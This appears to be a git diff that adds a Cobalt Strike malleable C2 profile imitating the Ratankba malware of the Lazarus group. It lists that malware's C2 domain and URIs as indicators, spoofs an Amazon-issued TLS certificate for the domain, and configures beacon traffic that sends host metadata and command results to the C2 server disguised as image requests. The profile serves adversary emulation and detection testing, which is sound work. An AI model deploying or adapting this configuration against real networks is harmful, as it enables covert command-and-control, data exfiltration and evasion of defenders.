Create ratankba.profile

APT/ratankba.profile

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+#ratankba malware used by 'lazarus group'
+#xx0hcd
+#IOC's:
+#C2 = www.eye-watch.in
+#C2 URI's = '/jscroll/board/list.jpg', '/design/dfbox/list.jpg', and '/design/img/list.jpg'
+#C2 params = 'u=' and coresponding command string (here we use Beacon comms instead)
+#C2 param1 = '?action=What&u=<string>' -- action to perform
+#C2 param2 = '?action=CmdRes&u=<string>&err=kill' -- result of command error code
+#C2 param3 = '?action=CmdRes&u=<string>&err=exec' -- result of command return code
+#C2 param4 = '?action=BaseInfo&u=<string>' -- basic information collected
+
+#openssl to be realistic as possible
+https-certificate {
+    set CN       "eye-watch.in";
+    set O        "Amazon";
+    set C        "US";
+    set L        "Scottsdale";
+    set OU       "Starfield Class";
+    set ST       "Arizona";
+    set validity "365";
+}
+
+set sleeptime "30000";
+set jitter    "20";
+set useragent "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0";
+set dns_idle "8.8.8.8";
+set maxdns    "235";
+
+http-get {
+
+    set uri "/jscroll/board/list.jpg /design/dfbox/list.jpg /design/img/list.jpg";
+    
+    client {
+
+        header "Host" "www.eye-watch.in";
+        header "Accept" "*/*";
+	header "Cookie" "0449651003fe48-Nff0eb7";
+        parameter "action" "What";
+        
+        metadata {
+            netbios;
+            parameter "u";
+
+        }
+
+
+
+    }
+
+    server {
+
+        header "Cache-Control" "private, max-age=0";
+        header "Content-Type" "text/html; charset=utf-8";
+        header "Server" "nginx/1.4.6 (Ubuntu)";
+        header "Connection" "close";
+        
+
+        output {
+            netbios;
+            print;
+        }
+    }
+}
+
+http-post {
+    
+    set uri "/jscroll/board/List.jpg /design/dfbox/List.jpg /design/img/List.jpg";
+    set verb "GET";
+
+    client {
+
+        header "Host" "www.eye-watch.in";
+        header "Accept" "*/*";
+        parameter "action" "BaseInfo";
+        
+        output {
+            netbios;
+            parameter "u";
+
+
+        }
+        
+        parameter "err" "kill";
+        
+        id {
+            base64url;
+	    prepend "0449651003fe48-";
+	    header "Cookie";
+
+        }
+    }
+
+    server {
+
+        header "Cache-Control" "private, max-age=0";
+        header "Content-Type" "text/html; charset=utf-8";
+        header "Server" "nginx/1.4.6 (Ubuntu)";
+        header "Connection" "close";
+        
+
+        output {
+            netbios;
+            print;
+        }
+    }
+}
+
+http-stager {
+    server {
+        header "Cache-Control" "private, max-age=0";
+        header "Content-Type" "text/html; charset=utf-8";
+        header "Server" "nginx/1.4.6 (Ubuntu)";
+        header "Connection" "close";
+    }
+}